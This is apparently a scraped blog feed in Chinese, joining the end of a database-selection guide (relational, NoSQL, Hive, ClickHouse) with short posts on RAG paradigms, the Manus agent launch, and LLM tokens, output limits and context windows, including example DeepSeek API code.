水平扩展困难，分库分表复杂度高（需处理分布式事务和跨分片查询）。 不适合存储半结构化数据（如JSON文档、嵌套数组）。 代表数据库：MySQL、PostgreSQL、Oracle、SQL Server\nNoSQL 数据库：灵活性与扩展性的革命 NoSQL（Not Only SQL）的诞生是为了解决关系型数据库在扩展性、灵活性和高性能场景下的不足。根据数据模型的差异，NoSQL 可进一步细分为四类：\n1. 文档型数据库（Document Database）\n数据模型：以文档为基本单元，通常采用JSON或BSON格式存储，支持嵌套结构和动态字段\n1{ 2 \u0026#34;user_id\u0026#34;: 101, 3 \u0026#34;name\u0026#34;: \u0026#34;张三\u0026#34;, 4 \u0026#34;orders\u0026#34;: [ 5 {\u0026#34;order_id\u0026#34;: 2001, \u0026#34;amount\u0026#34;: 150.0}, 6 {\u0026#34;order_id\u0026#34;: 2002, \u0026#34;amount\u0026#34;: 300.0} 7 ] 8} 查询能力：支持基于文档属性的查询，部分数据库（如MongoDB）提供类SQL的聚合管道（Aggregation Pipeline）和索引优化。\n适用场景：\n内容管理系统（CMS）中文章的多版本存储。 用户配置文件的动态字段管理（如社交平台用户的个性化标签）。 局限性：跨文档事务支持较弱（MongoDB 4.0后支持多文档事务，但性能损耗较大）。\n代表数据库：MongoDB、Couchbase\n2. 键值型数据库（Key-Value Store）\n数据模型：最简单的 NoSQL 模型，数据以键值对（Key-Value）形式存储，Value可以是任意二进制数据。\n1Key: \u0026#34;user:101:profile\u0026#34; 2Value: \u0026#34;{\u0026#39;name\u0026#39;: \u0026#39;李四\u0026#39;, \u0026#39;last_login\u0026#39;: \u0026#39;2023-10-01\u0026#39;}\u0026#34; 高性能特性：通过哈希表实现O(1)时间复杂度的读写操作，适合缓存和高并发场景。\n适用场景：\n会话存储（Session Storage）：快速存取用户登录状态。 分布式缓存（如Redis缓存热门商品信息）。 局限性：缺乏复杂查询能力（仅能通过Key检索），需业务层处理数据关联逻辑。\n代表数据库：Redis、Memcached、Amazon DynamoDB\n3. 列族数据库（Wide-Column Store）\n数据模型：数据按列族（Column Family）组织，每行可动态添加列，适合稀疏矩阵存储。\n1Row Key: \u0026#34;device_001\u0026#34; 2Columns: 3 \u0026#34;metrics:temperature\u0026#34; -\u0026gt; 25.5 4 \u0026#34;metrics:humidity\u0026#34; -\u0026gt; 60% 5 \u0026#34;location:city\u0026#34; -\u0026gt; \u0026#34;北京\u0026#34; 存储优势：基于LSM树（Log-Structured Merge Tree）的存储引擎，优化高吞吐写入（如日志、传感器数据）。\n适用场景：\n时间序列数据（物联网设备监控）。 海量数据的随机读写（如HBase存储网页爬虫数据）。 局限性：复杂查询需依赖Row Key设计，二级索引支持有限。\n代表数据库：Apache HBase、Cassandra、Google Bigtable\n4. 图数据库（Graph Database）\n数据模型：以图论为基础，通过节点（Node）、边（Edge）、属性（Property）表示实体及其关系。\n1Node: User(id=101, name=\u0026#34;王五\u0026#34;) 2Edge: User101 -[FRIEND]-\u0026gt; User102 (since=2020) 查询优势：专为关系查询优化，可高效遍历多跳关系（如社交网络的六度分隔理论）。\n适用场景：\n社交网络中的好友推荐。 欺诈检测（识别异常交易环路）。 局限性：非关系场景下性能无明显优势，学习曲线陡峭。\n代表数据库：Neo4j、Amazon Neptune\n大数据生态数据库：分布式与批量处理的支柱 1. 分布式列式存储（HBase）\n技术架构：基于HDFS的分布式存储，通过Region分片实现水平扩展，ZooKeeper协调元数据。\n核心能力：\n随机实时读写（毫秒级延迟）。 稀疏数据的高效存储（空值不占空间）。 适用场景：实时查询TB级数据（如电信通话记录检索）。\n2. 数据仓库（Hive）\n技术原理：将结构化数据映射为HDFS文件，通过 HiveQL（类SQL）转换为MapReduce或Tez任务。\n核心能力：\n离线批量处理（小时级延迟）。 复杂ETL流程（数据清洗、转换）。 适用场景：历史数据报表生成（如零售业月度销售分析）。\n3. 实时数仓（ClickHouse、Doris）\n技术突破：向量化执行引擎、列式存储、预聚合，实现亚秒级响应。\n适用场景：交互式OLAP分析（如广告投放效果实时看板）。\n总结 我们做一个整体的对比\n随着技术发展，数据库的界限逐渐模糊。例如：\n多模型数据库：如PostgreSQL通过扩展支持JSONB（文档模型）和Citus（分布式能力）。 HTAP(Hybrid Transactional/Analytical Processing)数据库：TiDB、Oracle Exadata支持OLTP与OLAP混合负载。 AI驱动数据库：利用机器学习优化查询计划（如Google AlloyDB）。 随着 AI 技术的兴起，向量数据库也是非常热门的一类数据库。数据库的分类也并非绝对的技术壁垒，而是反映了不同场景下的核心矛盾权衡：\n结构化 vs 灵活性：关系型牺牲灵活性换取严格约束，文档型反之。 一致性 vs 扩展性：CP系统（如ZooKeeper）优先保障一致性，AP系统（如Cassandra）优先保障可用性。 实时性 vs 吞吐量：HBase优化单点查询延迟，Hive优化批量吞吐量。 理解这些分类背后的哲学，才能避免“技术选型中的锤子效应”（手里只有一把锤子，看所有问题都是钉子），从而在复杂业务场景中构建合理的数据存储架构。\n数据类型 在进行数据库的选择前，你要处理的数据类型是你必须要明确的。\n结构化、半结构化和非结构化数据在存储、查询和处理方式上存在本质差异，直接影响了技术选型的路径。\n在数据管理的实践中，数据类型是决定数据库选型的关键因素之一。结构化、半结构化和非结构化数据在存储、查询和处理方式上存在本质差异，直接影响了技术选型的路径。以下从数据特征、处理需求到典型数据库选择展开系统性分析。\n结构化数据：秩序与约束的领域 1. 核心特征\n严格模式（Schema）：数据字段预先定义，类型明确（如整数、日期、枚举值）。 二维表结构：数据以行和列的形式组织，遵循第一范式（1NF）到第三范式（3NF）的规范。 强关联性：通过外键建立表间关系，支持JOIN操作实现跨表查询。 示例：\n银行账户表：账户ID (主键) | 户主姓名 | 余额 | 开户日期 电商订单表：订单ID | 用户ID (外键) | 商品ID (外键) | 订单金额 | 支付状态 2. 数据库选择\n首选：关系型数据库（RDBMS）。它的选型逻辑：\n事务完整性：需要ACID保障的场景（如转账操作）。 复杂查询：涉及多表关联、聚合计算（如财务报表生成）。 数据一致性：字段之间存在强约束（如库存数量不能为负值）。 其中代表方案有：\nMySQL/PostgreSQL：适用于中小规模OLTP系统。 Oracle：企业级高并发、高可靠性需求（如金融核心系统）。 TiDB：分布式架构下仍需强一致性的场景（如跨境支付平台）。 3. 反模式案例\n错误尝试：将用户行为日志（半结构化JSON）存入MySQL。这样做的问题是：\n需要为动态字段创建稀疏列，导致存储空间浪费。 频繁ALTER TABLE修改表结构，引发锁表风险。 查询嵌套字段需解析JSON字符串，性能低下。 半结构化数据：灵活性与动态性的平衡 1. 核心特征\n松散模式：字段可动态增减，数据类型允许一定灵活性。 层次化结构：数据以树形或网状形式组织（如JSON、XML）。 自描述性：数据本身携带元信息（如字段名称、嵌套关系）。 示例：用户配置文件\n1 { 2 \u0026#34;user_id\u0026#34;: 1001, 3 \u0026#34;preferences\u0026#34;: { 4 \u0026#34;theme\u0026#34;: \u0026#34;dark\u0026#34;, 5 \u0026#34;notifications\u0026#34;: { 6 \u0026#34;email\u0026#34;: true, 7 \u0026#34;sms\u0026#34;: false 8 } 9 }, 10 \u0026#34;last_activity\u0026#34;: [ 11 {\u0026#34;type\u0026#34;: \u0026#34;login\u0026#34;, \u0026#34;timestamp\u0026#34;: \u0026#34;2023-10-05T08:30:00Z\u0026#34;}, 12 {\u0026#34;type\u0026#34;: \u0026#34;purchase\u0026#34;, \u0026#34;item_id\u0026#34;: \u0026#34;SKU123\u0026#34;} 13 ] 14 } 设备传感器元数据：\n1 \u0026lt;device id=\u0026#34;D001\u0026#34;\u0026gt; 2 \u0026lt;location lat=\u0026#34;39.9042\u0026#34; lon=\u0026#34;116.4074\u0026#34;/\u0026gt; 3 \u0026lt;sensors\u0026gt; 4 \u0026lt;sensor type=\u0026#34;temperature\u0026#34; unit=\u0026#34;°C\u0026#34;/\u0026gt; 5 \u0026lt;sensor type=\u0026#34;humidity\u0026#34; unit=\u0026#34;%\u0026#34;/\u0026gt; 6 \u0026lt;/sensors\u0026gt; 7 \u0026lt;/device\u0026gt; 2. 数据库选择\n首选技术：文档型数据库、宽列数据库。它的选型逻辑：\n动态模式支持：无需预定义字段，适应业务快速迭代。 嵌套查询效率：直接存储层次化数据，避免关联表拆分。 局部更新能力：修改文档部分字段不影响整体结构。 代表方案：\nMongoDB：\n适用场景：CMS内容管理、物联网设备元数据存储。\n优势：BSON二进制存储、聚合管道、地理位置索引。\n限制：事务跨文档操作成本高（需4.0+版本）。\nCassandra：\n适用场景：时间序列数据（如日志事件流）。\n优势：高写入吞吐、多数据中心复制。\n限制：查询必须指定分区键，二级索引效率低。\nElasticsearch：\n适用场景：日志分析、全文检索（如电商商品搜索）。\n优势：倒排索引、近实时搜索、分词器定制。\n限制：写入吞吐受分片数限制，不支持事务。\n3. 混合架构实践\n典型组合：MySQL + MongoDB + Elasticsearch。 数据流示例：\n用户注册信息（结构化）存入MySQL。 用户行为轨迹（半结构化JSON）写入MongoDB。 关键字段（如用户ID、行为类型）同步到Elasticsearch供快速检索。 非结构化数据：海量与多元化的挑战 1. 核心特征\n无固定模式：数据格式不遵循预定义结构。 大文件倾向：单个数据单元体积大（如视频、图片）。 内容多样性：文本、图像、音频、二进制文件等。 示例：\n媒体文件：监控摄像头的1080P视频流（MP4格式）。 办公文档：PDF合同、Word报告。 2. 数据库选择\n核心矛盾：非结构化数据的管理重点不是“查询”，而是“存储与访问”。它的选型逻辑：\n存储效率：需支持大文件分块存储（如HDFS的128MB块）。 元数据管理：通过附加结构化信息实现快速检索。 访问接口：提供HTTP API或对象存储接口（如S3兼容）。 代表方案：\n对象存储： Amazon S3/阿里云OSS：存储图片、视频等静态资源。 MinIO：自建私有化对象存储方案。 分布式文件系统： HDFS：用于Hadoop生态的原始文件存储。 Ceph：统一存储池支持块、文件、对象接口。 专用数据库扩展： MongoDB GridFS：将大文件分块存储为文档。 PostgreSQL大对象（LOB）：通过TOAST机制存储二进制数据。 3. 元数据关联策略\n典型架构是：对象存储 + 关系型数据库。分两步：\n数据流： 上传视频文件到S3，获得存储路径s3://bucket/video_001.mp4。 在MySQL中创建记录： 1INSERT INTO media_files 2 (id, s3_path, uploader_id, duration, resolution) 3VALUES 4 (1001, \u0026#39;s3://bucket/video_001.mp4\u0026#39;, 501, 120, \u0026#39;1920x1080\u0026#39;); 查询过程： 1-- 查找用户501上传的高清视频 2SELECT s3_path FROM media_files 3WHERE uploader_id = 501 AND resolution = \u0026#39;1920x1080\u0026#39;; 总结 总结一下不同数据类型的特点\n总结来说：\n结构化数据是商业规则的数字化体现，适合通过关系型数据库实现精准控制。 半结构化数据反映了现实世界的复杂关联，文档型或宽列数据库提供必要的灵活性。 非结构化数据代表信息的原始形态，需通过对象存储与元数据管理实现规模化处理。 说了这么多，虽然对于数据是什么类型有了比较清楚的定义和区分，但是数据到底是结构化的还是非结构化的，其实主要是看 “数据的组织方式”和“处理方式”\n这里举个例子，比如 用户评论\n如果我们只是想简单的读写用户评论，可以把它用关系型数据库存储，当作一个表中的一个字段:\n在评论内容（CommentContent）这个字段中，我们可以存储用户的评论文本。对于包含的表情、图片等多媒体元素，也有一些常见的处理方法。例如，把表情转换为编码存储，而图片可以存储在文件服务器上，并在数据库中保存链接地址。\n如果把用户评论当成非结构化数据，那么它的处理方式就会更加复杂。\n用户评论的内容通常是文本信息，但其实不容易进行有效的结构化处理。评论的长度、格式、语言等都可能差异很大，甚至某些评论可能包含表情符号或者图片等多媒体元素。这些元素都无法通过预定义的数据模型进行有效地分类和组织，因此我们将其当做非结构化数据来处理。\u0026ndash;这里主要是指数据的组织方式。\n以下是一些具体的例子：\n评论情感分析：通过对用户评论的文本内容分析，我们可以识别出评论者的情绪态度，比如正面的、负面的，或者中性的。这对于公司来说是非常重要的，可以了解产品或者服务在消费者中的口碑和接受程度。 评论分类：我们还可以将评论分到不同的类别。可以根据情绪分为好评、中评、差评。同时，还可以按照评论的内容将其分为产品评价，客服评价等类别。 评论的全文搜索：对于用户评论这种非结构化数据的全文搜索，可以帮助我们即时搜索到关于某一产品或者某一特定主题的所有相关评论。 主题模型：主题模型可以帮助我们从大量的评论中提炼出几个主要的话题，帮助公司了解消费者最关心的问题有哪些。 具体实现架构如下：\n用户评论的存储与分析系统需结合多种技术实现高效处理。在存储层设计中，推荐采用混合存储架构以满足非结构化数据的持久化需求。核心存储使用MongoDB文档数据库保存完整的评论内容（如文本、表情编码、图片链接等），其灵活的JSON结构支持动态字段扩展，例如可包含用户设备信息、地理位置等元数据。同时，MongoDB的水平扩展能力和聚合查询功能可有效支持大规模数据管理。对于评论中的图片、视频等二进制文件，则通过对象存储（如Amazon S3或阿里云OSS）存储，结合预签名URL实现安全访问，避免数据库性能损耗。辅助索引层采用Elasticsearch同步关键字段，通过倒排索引和中文分词技术（如IK分词）实现秒级全文检索，并支持模糊搜索与高亮显示。\n在场景化应用中，情感分析可通过多种技术实现：对于中文评论，SnowNLP或Hugging Face的BERT模型能精准识别情感倾向，例如通过预训练模型对“电池续航太差”等文本输出负面标签及置信度评分。评论分类则结合监督学习（如SVM、BERT）与无监督方法（如K-Means聚类），通过FastAPI构建实时分类服务或使用Spark进行批量处理。全文搜索功能由Elasticsearch支撑，通过MongoDB Connector实现实时数据同步，支持用户快速定位包含特定关键词的评论内容。主题模型则利用LDA、BERTopic等算法从海量评论中提取高频主题（如“屏幕质量”“物流服务”），并通过WordCloud等工具可视化呈现，帮助业务方洞察用户关注焦点。整个架构通过混合存储与多技术协同，在保证性能的同时实现成本优化。\n应用场景 数据库选型的核心是：理解业务数据的生命周期，把握各类数据库的能力边界，在架构灵活性与技术可控性之间寻找最佳平衡点。任何脱离具体业务场景的数据库对比都是无效的，优秀的架构设计应当像精密钟表般，让每个齿轮（数据库）在最适合的位置发挥最大效能。\n结合典型应用场景，什么场景应该用什么数据库呢？其实在一个业务场景下需要多种类数据库结合使用，总结如下：\n我们以单个数据库为维度再分别讨论一下：\n关系型:MySQL MySQL：高并发事务系统（如电商订单处理）\n核心场景：电商平台的订单系统，需要保证每笔交易的原子性（如扣减库存、生成订单、支付记录必须同时成功或回滚）。\n为什么选择MySQL：\nACID事务支持：通过InnoDB引擎实现强一致性，确保订单状态的准确性。 复杂查询能力：支持多表JOIN（如查询用户历史订单及商品详情）。 成熟生态：主从复制、分库分表工具（如ShardingSphere）支持高可用和扩展。 对比其他数据库：\nMongoDB：不支持跨文档事务（早期版本），不适合强一致性场景。 Redis：内存数据库，无法持久化复杂事务逻辑。 示例：每秒处理10万笔订单的电商平台，通过MySQL分库分表（按用户ID哈希）实现横向扩展。\n搜索引擎：ES Elasticsearch：实时商品搜索与日志分析\n核心场景：电商平台商品搜索，用户输入关键词（如“防水运动鞋”）后毫秒级返回结果。\n为什么选择Elasticsearch：\n倒排索引：快速匹配关键词，支持分词、同义词扩展、模糊查询。 聚合分析：统计商品类目的平均评分、价格区间分布。 近实时（NRT）：新上架商品1秒内可被搜索。 对比其他数据库：\nMySQL：全文索引性能差，无法支持高并发搜索。 MongoDB：文本搜索功能简单，缺乏分词器和相关性排序。 示例：某跨境电商平台，每日处理1亿次搜索请求，通过ES集群（分片+副本）实现99.9%的查询响应时间\u0026lt;50ms。\n文档型：MongoDB MongoDB：内容管理系统（CMS）与动态配置存储**\n核心场景：新闻发布平台的文章存储，每篇文章包含标题、正文、多级评论、动态标签。\n为什么选择MongoDB：\n灵活文档模型：存储嵌套结构的JSON数据（如评论树形结构）。 水平扩展：通过Sharding自动分配数据到多个分片。 局部更新：修改文章某个字段无需重写整个文档。 对比其他数据库：\nMySQL：需要拆分为多张表（文章表、评论表），JOIN查询效率低。 HBase：适合结构化扫描，不适合嵌套数据查询。 示例：某媒体平台存储1000万篇文章，每篇文章包含动态标签（如“科技, 2023趋势”），通过MongoDB的文档结构直接存储。\n键值存储：Redis Redis：高频访问缓存与会话管理\n核心场景：社交平台的热门帖子缓存，用户访问时优先从缓存读取，减少数据库压力。\n为什么选择Redis：\n内存存储：读写延迟\u0026lt;1ms，支持每秒百万级操作。 数据结构丰富：使用Sorted Set存储热门帖子排行榜，Hash存储用户会话信息。 持久化可选：RDB快照或AOF日志保障数据安全。 对比其他数据库：\nMySQL：磁盘存储，无法满足毫秒级响应。 MongoDB：内存占用高，不适合纯缓存场景。 示例：某论坛每日活跃用户500万，通过Redis缓存前1000热门帖子，命中率90%，数据库负载下降70%。\n宽列存储：HBase、Cassandra HBase：海量时序数据存储（如物联网设备监控）\n核心场景：电力公司存储智能电表每秒采集的电流、电压数据。\n为什么选择HBase：\n列族存储：按列压缩时序数据，节省存储空间。 随机读写：按设备ID+时间戳快速查询某时刻数据。 HDFS集成：数据自动下沉至HDFS实现低成本归档。 对比其他数据库：\nCassandra：适合跨数据中心写入，但单点查询性能不如HBase。 MySQL：无法支持每秒百万级数据写入。 示例：某物联网平台每日新增1TB传感器数据，通过HBase的RowKey设计（设备ID+时间戳）实现毫秒级查询。\nCassandra：多数据中心日志同步（如全球化应用）\n核心场景：跨国社交应用的聊天日志存储，要求数据在欧美亚三地就近写入且最终一致。\n为什么选择Cassandra：\n多活架构：数据自动复制到多个数据中心，写入本地即成功。 高吞吐写入：LSM树引擎支持每秒百万级写入。 无单点故障：去中心化架构避免主从瓶颈。 对比其他数据库：\nHBase：依赖HDFS和ZooKeeper，扩展性受限。 MySQL：主从复制跨地域延迟高。 示例：某IM应用每日处理50亿条消息，通过Cassandra实现三地数据中心写入延迟\u0026lt;10ms。\n数据仓库：Hive Hive：离线数据仓库与ETL批处理\n核心场景：零售企业每月销售数据的批量清洗与报表生成。\n为什么选择Hive：\nSQL兼容：通过HiveQL实现类SQL查询，降低学习成本。 海量数据批处理：基于MapReduce或Tez引擎处理TB级数据。 低成本存储：数据存储在HDFS，支持压缩格式（ORC、Parquet）。 对比其他数据库：\nClickHouse：适合实时分析，但存储成本高。 MySQL：无法处理PB级数据。 示例：某电商每月分析10TB历史订单数据，通过Hive生成“年度区域销售趋势”报表，耗时2小时。\n列式存储：ClickHouse ClickHouse：实时OLAP与用户行为分析\n核心场景：广告平台的实时点击流分析，每日处理千亿级事件，生成实时报表。\n为什么选择ClickHouse：\n列式存储：压缩率高，适合聚合计算（如SUM、COUNT）。 向量化执行：利用CPU SIMD指令加速查询。 实时写入：支持Kafka直接导入数据，延迟低至秒级。 对比其他数据库：\nHive：批处理模式，查询延迟分钟级。 MySQL：无法支撑海量数据聚合。 示例：某广告平台分析每日200亿次点击事件，通过ClickHouse集群实现“过去1小时各渠道转化率”秒级响应。\n图数据库：Neo4j Neo4j：社交网络关系挖掘（如好友推荐）\n核心场景：社交平台的“六度关系”分析，计算用户A到用户B的最短路径。\n为什么选择Neo4j：\n图遍历优化：通过原生图存储引擎高效遍历多跳关系。 Cypher查询语言：直观表达复杂关系模式（如查找共同好友）。 实时更新：支持动态添加节点和边。 对比其他数据库：\nMySQL：需递归JOIN，性能随跳数指数级下降。 MongoDB：无法直接表达关系网络。 示例：某社交平台分析10亿用户关系，Neo4j可在毫秒级返回“用户A的三度人脉中可能认识的人”。\n总结 事务强一致 → MySQL 实时搜索 → Elasticsearch 动态文档 → MongoDB 高频缓存 → Redis 实时OLAP → ClickHouse 时序海量存储 → HBase 全球化写入 → Cassandra 关系网络 → Neo4j 离线批处理 → Hive 最后总结 **数据模型的本质差异是选型的第一道分水岭。**关系型数据库（如MySQL、PostgreSQL）建立在严格的二维表结构之上，通过外键约束和范式理论保障数据完整性。这种结构特别适合需要复杂关联查询的财务系统、ERP等业务场景。例如银行转账操作需要严格遵循ACID事务原则，MySQL的InnoDB引擎通过行级锁和MVCC机制实现事务隔离，配合主从复制架构可以满足多数金融级需求。但在物联网设备日志存储场景下，每天千万级的写入请求会导致关系型数据库的索引维护成本急剧上升，此时文档型数据库MongoDB的BSON自由格式和分片集群优势便显现出来。MongoDB的写操作默认不等待磁盘确认，通过内存映射文件实现高速写入，特别适合内容管理系统或实时分析场景中半结构化数据的快速摄入。\n分布式架构的CAP权衡直接影响系统可用性。 Elasticsearch作为分布式搜索引擎，其倒排索引结构对文本检索的优化已达到毫秒级响应，在电商商品搜索、日志分析等场景具有不可替代性。但ES的强一致性模型可能导致集群脑裂风险，需要结合zen discovery机制进行节点状态管理。相比之下，HBase作为Hadoop生态的列式存储，通过RegionServer的水平扩展和LSM树的写入优化，能够承载PB级数据量的实时读写。某智慧城市项目曾使用HBase存储数十亿条交通卡口数据，利用其行键有序分布特性实现车辆轨迹的快速回溯，这是传统关系型数据库难以企及的吞吐能力。\n计算与存储的分离趋势重构了数据分析范式。 Hive建立在HDFS之上的元数据管理机制，通过类SQL语法实现大数据集的离线分析，其分区表和桶表的设计显著提升了TB级数据查询效率。某电商平台的历史订单分析采用Hive进行月度销售统计，配合Tez执行引擎将任务耗时从小时级压缩到分钟级。但Hive的高延迟特性使其不适合实时查询场景，这正是ClickHouse等OLAP数据库的突破方向。需要特别注意的是，数据湖架构的兴起使得Delta Lake、Hudi等解决方案开始融合事务管理和批流一体处理，这对传统数仓选型提出了新的挑战。\n**事务完整性与系统弹性的平衡艺术。**当业务需要跨数据库操作时，如电商订单系统同时涉及MySQL库存扣减和MongoDB订单日志记录，分布式事务管理就成为关键挑战。Saga模式通过补偿机制实现最终一致性，而Seata框架的AT模式能在业务侵入性较低的情况下保障事务边界。但在高并发场景下，这类方案的性能损耗可能达到20%-30%，这就需要架构师在一致性级别和系统吞吐之间做出权衡。例如社交平台的点赞功能更适合使用Redis的原子计数器，完全放弃强一致性以换取百万级QPS的处理能力。\n**硬件成本与运维复杂度的隐藏成本。**云原生时代，AWS Aurora通过计算存储分离架构实现了MySQL兼容数据库的自动扩缩容，其存储层可自动扩展到128TB，这种托管服务显著降低了运维负担。但对于需要定制化优化的场景，如金融行业的风控模型计算，仍需要基于物理机部署的Oracle RAC集群来保障IOPS性能。开源方案的隐性成本同样不容忽视，Elasticsearch集群的JVM堆内存配置直接影响索引性能，不当的分片设置可能导致磁盘空间浪费，这需要运维团队积累足够的调优经验。\n在具体选型实践中，建议采用四维评估法：首先明确数据结构化程度（结构化、半结构化、非结构化），其次分析读写比例和并发量级，再次确定一致性要求（强一致、最终一致），最后考量扩展性和生态集成需求。例如智能穿戴设备数据采集场景，设备标识符作为MongoDB文档的天然主键，时间序列数据采用嵌套文档存储，既避免了关系型数据库的表关联开销，又利用TTL索引实现自动过期清理。而在用户画像分析场景，HBase 的宽表结构可以存储数千个用户标签，配合Phoenix的SQL层实现灵活查询，这种架构组合充分发挥了列式存储的高压缩比优势。\n最后我们用一个简单的流程图来说明一下这个选型过程：\n","date":"2025-03-14T09:19:52Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-03-14-shu-ju-ku-xuan-xing-zhong-ji-zhi-nan-cong-shu-ju-lei-xing-da/cover.jpg","permalink":"/p/2025-03-14-shu-ju-ku-xuan-xing-zhong-ji-zhi-nan-cong-shu-ju-lei-xing-da/","title":"数据库选型终极指南：从数据类型到应用场景，一篇就够了"},{"content":"Naive RAG (朴素 RAG) 定义 核心思想 将文档分块、向量化并存入向量数据库 用户查询也向量化，并在数据库中检索最相似的文档块 最后，将查询和检索到的文档块一起输入 LLM 生成答案 优缺点分析 Advanced RAG (高级 RAG) 定义 核心思想 化索引（如滑动窗口、细粒度分割、元数据利用） 优化查询（如查询重写、扩展、转换） 优化检索结果（如重排序、过滤、压缩） 优缺点分析 Modular RAG (模块化 RAG) 定义 核心思想 模块化设计，每个模块可独立实现和替换 支持迭代、自适应、递归等多种检索模式 通过组合不同模块来适应不同任务需求 优缺点分析 GraphRAG (图 RAG) 定义 核心思想 建基于图的文档索引 利用图数据库和查询语言进行检索 将检索到的图信息与文本信息结合，输入 LLM 生成答案 优缺点分析 Agentic RAG (智能体 RAG) 定义 核心思想 使用 AI 代理管理 RAG 流程 利用代理设计模式（反射、规划、工具使用、多代理协作） 代理可动态协调 RAG 组件，进行推理，并根据上下文采取行动 优缺点分析 总结 参考 https://arxiv.org/html/2407.21059v1 ","date":"2025-03-11T10:27:02Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-03-11-rag-de-wu-da-fan-shi/cover.jpg","permalink":"/p/2025-03-11-rag-de-wu-da-fan-shi/","title":"RAG 的五大范式"},{"content":"AI 革命的“GPT 时刻”再次降临 今天（2025 年 3 月 6 日），中国 AI 团队以一款名为 Manus 的通用型 AI 智能体，彻底点燃了全球科技圈。它不仅是首款能自主完成复杂任务的“数字执行者”，更以 GAIA 基准测试 86.5%的任务完成率碾压 OpenAI（74.3%），标志着 AI 从“辅助工具”到“全能同事”的质变。斯坦福教授评价：“这是 AI 从工具进化为同事的转折点。”\nmanus 登录后长这样：\nManus 背后的研发团队来自 Monica.im，创始人为肖弘（昵称小红，英文名 Red），1992 年出生，毕业于华中科技大学。创业期间开发微信数据分析工具盈利，2022 年创立 Monica 并专注于海外市场，凭借套壳策略，提供多家大模型集成服务。\n视频中的季逸超是少年极客，20 岁拿到真格基金的投资，当年的明星创业者。\n","date":"2025-03-06T06:21:31Z","image":"https://pub-f29bf2b53160470c9a85250116509a24.r2.dev/post/2025-03-06-zhong-guo-ai-zhen-han-quan-qiu-quan-qiu-shou-kuan-tong-yong-/cover.jpg","permalink":"/p/2025-03-06-zhong-guo-ai-zhen-han-quan-qiu-quan-qiu-shou-kuan-tong-yong/","title":"中国AI震撼全球！全球首款通用AI智能体Manus发布，开启“数字执行者”新时代"},{"content":"Token 是什么 token 是大模型（LLM）用来表示自然语言文本的基本单位，可以直观的理解为 “字” 或 “词”。\n通常 1 个中文词语、1 个英文单词、1 个数字或 1 个符号计为 1 个 token\n一般情况下模型中 token 和字数的换算比例大致如下：\n1 个英文字符 ≈ 0.3 个 token。 1 个中文字符 ≈ 0.6 个 token。 所以，我们可以近似的认为一个汉字就是一个 token\n大模型处理我们的输入也是将文本转成 token 再处理的：\n最大输出长度 这里我们以 DeepSeek 为例：\n上图中 deepseek-chat 模型对应 DeepSeek-V3；deepseek-reasoner 模型对应 DeepSeek-R1\n可以看到在 DeepSeek 中，无论是推理模型 R1 还是对话模型 V3 他们的最大输出长度均为 8K 。\n我们已经知道一个汉字近似的等于一个 token ，那么这 8K 的意思就可以约等于说：一次输出最多不超过 8000 个字\n最大输出长度这个概念非常清晰，很好理解，反正就是模型每次给你的输出最多 8000 个字，多了你就别想了，超限制了，人家做不到～～\n上下文长度 “上下文长度” 在技术领域实际上有一个专有的名词：Context Window\n我们还是以 DeepSeek 为例：\n可以看到无论是推理模型还是对话模型 Context Window 都是 64K ，\n这个 64K 意味着什么呢 ？请继续往下看。\n如果我们要给 Context Window 下一个定义，那么应该是这样：\nLLM 的 Context Window 指模型在单次推理过程中可处理的全部 token 序列的最大长度，包括：\n输入部分（用户提供的提示词、历史对话内容、附加文档等） 输出部分（模型当前正在生成的响应内容） 这里我们解释一下，比如当你打开一个 DeepSeek 的会话窗口，开启一个新的会话，然后你输入内容，接着模型给你输出内容。这就是一个 单次推理 过程。在这简单的一来一回的过程中，所有内容（输入+输出）的文字（tokens）总和不能超过 64K（约 6 万多字）。\n你可能会问，那输入多少有限制吗？\n有。上文我们介绍了 “上下文长度”，我们知道最长 8K，那么输入内容的上限就是：64K- 8K = 56K\n总结来说在一次问答中，你最多输入 5 万多字，模型最多给你输出 8 千多字。\n你可能还会问，那多轮对话呢？每一轮都一样吗？\n不一样。这里我们要稍微介绍一下多轮对话的原理\n多轮对话 我们仍然以 DeepSeek 为例，假设我们使用的是 API 来调用模型。\n多轮对话发起时，服务端不记录用户请求的上下文，用户在每次请求时，需将之前所有对话历史拼接好后，传递给对话 API。\n以下是个示例代码，看不懂没关系就是示意一下：\n1from openai import OpenAI 2client = OpenAI(api_key=\u0026#34;\u0026lt;DeepSeek API Key\u0026gt;\u0026#34;, base_url=\u0026#34;https://api.deepseek.com\u0026#34;) 3 4# Round 1 5messages = [{\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;What\u0026#39;s the highest mountain in the world?\u0026#34;}] 6response = client.chat.completions.create( 7 model=\u0026#34;deepseek-chat\u0026#34;, 8 messages=messages 9) 10 11messages.append(response.choices[0].message) 12print(f\u0026#34;Messages Round 1: {messages}\u0026#34;) 13 14# Round 2 15messages.append({\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;What is the second?\u0026#34;}) 16response = client.chat.completions.create( 17 model=\u0026#34;deepseek-chat\u0026#34;, 18 messages=messages 19) 20 21messages.append(response.choices[0].message) 22print(f\u0026#34;Messages Round 2: {messages}\u0026#34;) 在第一轮请求时，传递给 API 的 messages 为：\n1[ 2 {\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;What\u0026#39;s the highest mountain in the world?\u0026#34;} 3] 在第二轮请求时：\n要将第一轮中模型的输出添加到 messages 末尾 将新的提问添加到 messages 末尾 最终传递给 API 的 messages 为：\n1[ 2 {\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;What\u0026#39;s the highest mountain in the world?\u0026#34;}, 3 {\u0026#34;role\u0026#34;: \u0026#34;assistant\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;The highest mountain in the world is Mount Everest.\u0026#34;}, 4 {\u0026#34;role\u0026#34;: \u0026#34;user\u0026#34;, \u0026#34;content\u0026#34;: \u0026#34;What is the second?\u0026#34;} 5] 所以多轮对话其实就是：把历史的记录（输入+输出）后面拼接上最新的输入，然后一起提交给大模型。\n那么在多轮对话的情况下，**实际上并不是每一轮对话的 Context Window 都是 64K，而是随着对话轮次的增多 Context Window 越来越小。**比如第一轮对话的输入+输出使用了 32K，那么第二轮就只剩下 32K 了，原理正如上文我们分析的那样。\n到这里你可能还有疑问 